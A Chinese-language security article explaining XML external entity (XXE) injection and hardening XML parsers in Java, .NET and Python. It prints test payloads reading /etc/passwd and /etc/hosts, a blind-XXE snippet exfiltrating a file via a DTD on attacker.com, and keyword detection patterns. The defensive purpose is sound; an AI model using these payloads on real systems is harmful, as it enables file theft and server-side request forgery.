XML外部实体注入与修复方案

XML外部实体注入(XXE)是一种严重的安全漏洞,攻击者利用XML解析器处理外部实体的功能来读取服务器内部文件、执行远程请求(SSRF)、扫描内网端口或发起拒绝服务攻击。以下是详细解释和修复方案:


XXE 攻击原理

  1. 外部实体声明

    XML允许定义实体(变量),实体可引用外部资源:

    xml

    复制代码
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  2. 实体注入

    攻击者将恶意实体注入XML输入:

    xml

    复制代码
    <data>&xxe;</data>

    解析器会将 &xxe; 替换为 /etc/passwd 文件内容。

  3. 攻击类型

    • 读取本地文件(file://

    • 发起HTTP请求(http://)→ SSRF

    • 拒绝服务(Billion Laughs 攻击)

    • 端口扫描(结合SSRF)


修复方案

1. 禁用外部实体处理(根本方案)

Java (SAX/DOM)

java

复制代码
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

.NET (XmlReader)

csharp

复制代码
var settings = new XmlReaderSettings {
  DtdProcessing = DtdProcessing.Prohibit,
  XmlResolver = null  // 禁用解析器
};

Python (lxml)

python

复制代码
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
2. 使用安全的XML库
  • 优先选择默认禁用外部实体的库:

    • Java: OWASP Java Encoderjackson-dataformat-xml

    • Python: defusedxml(替代标准库)

      python

      复制代码
      from defusedxml.ElementTree import parse
      parse(xml_file)
3. 输入验证与过滤
  • 过滤用户输入的 <!DOCTYPE><!ENTITY> 声明

  • 使用正则表达式拦截敏感关键字(临时缓解):

    regex

    复制代码
    <!ENTITY.*?SYSTEM|file:|http:
4. 输出编码

避免直接输出XML解析结果,使用HTML编码:

java

复制代码
String safeOutput = Encode.forHtmlContent(rawXMLOutput);
5. 服务器层防御
  • WAF规则 :拦截包含 ENTITYSYSTEM 等关键词的请求

  • 文件权限:限制应用账户对系统文件的访问权限


XXE 检测方法

  1. 手动测试

    提交测试Payload:

    xml

    复制代码
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]>
    <data>&xxe;</data>
  2. 自动化工具

    • OWASP ZAP、Burp Suite Professional(主动扫描)

    • XXEinjector(自动化利用工具)


额外注意事项

  • 依赖库风险:即使代码安全,底层库(如Log4j 1.x)可能引入XXE

  • 非文件协议攻击 :防范 php://filtergopher:// 等协议

  • 盲XXE:通过DNS查询或HTTP请求外带数据(需配置外部DTD)

    xml

    复制代码
    <!ENTITY % payload SYSTEM "file:///secret">
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;

修复后验证

  1. 使用单元测试覆盖XXE攻击场景

  2. 定期进行安全扫描(SAST/DAST)

  3. 渗透测试:尝试读取 /etc/passwd 或触发DNS查询

关键原则:始终禁用DTD和外部实体解析。大多数现代XML解析器提供了明确的开关选项,启用安全配置是防御XXE的核心。

相关推荐
gs801408 小时前
解构 Cordis:面向“时空可组合性”的 TypeScript 元框架深度剖析
前端·javascript·typescript
Highcharts.js8 小时前
Highcharts大数据渲染模块Boost实战与参数最佳实践表
javascript·数据可视化·boost·highcharts·大数据渲染·加速配置·参数表
岁岁种桃花儿8 小时前
Vue核心语法第一篇:Vue是什么?
前端·javascript·vue.js
数智大号8 小时前
从“芯“出发,筑牢文印安全防线——联想至像以全链路自主可控回应国家安全之问
arm开发·安全
Rain的Java大神之路8 小时前
线上接口负载满了如何解决
java·数据库·redis·后端·缓存·面试·架构
counting money9 小时前
Tomcat 专题:从基础架构到性能调优与 WebSocket 实战
java·websocket·tomcat
Highcharts.js9 小时前
数据可视化避坑指南 ——开发中常见图表错误与修复方案
javascript·信息可视化·数据可视化·highcharts·数据可视化避坑·修复方案
观无9 小时前
若依EasyExcel实现单元格合并
开发语言·前端·javascript
小新讲网安9 小时前
安全运营中心(SOC)建设实战:从SIEM到威胁狩猎全流程指南
网络·安全·web安全·网络安全·网安
愚公搬代码9 小时前
【愚公系列】《Web应用安全》001-VMware的安装
前端·安全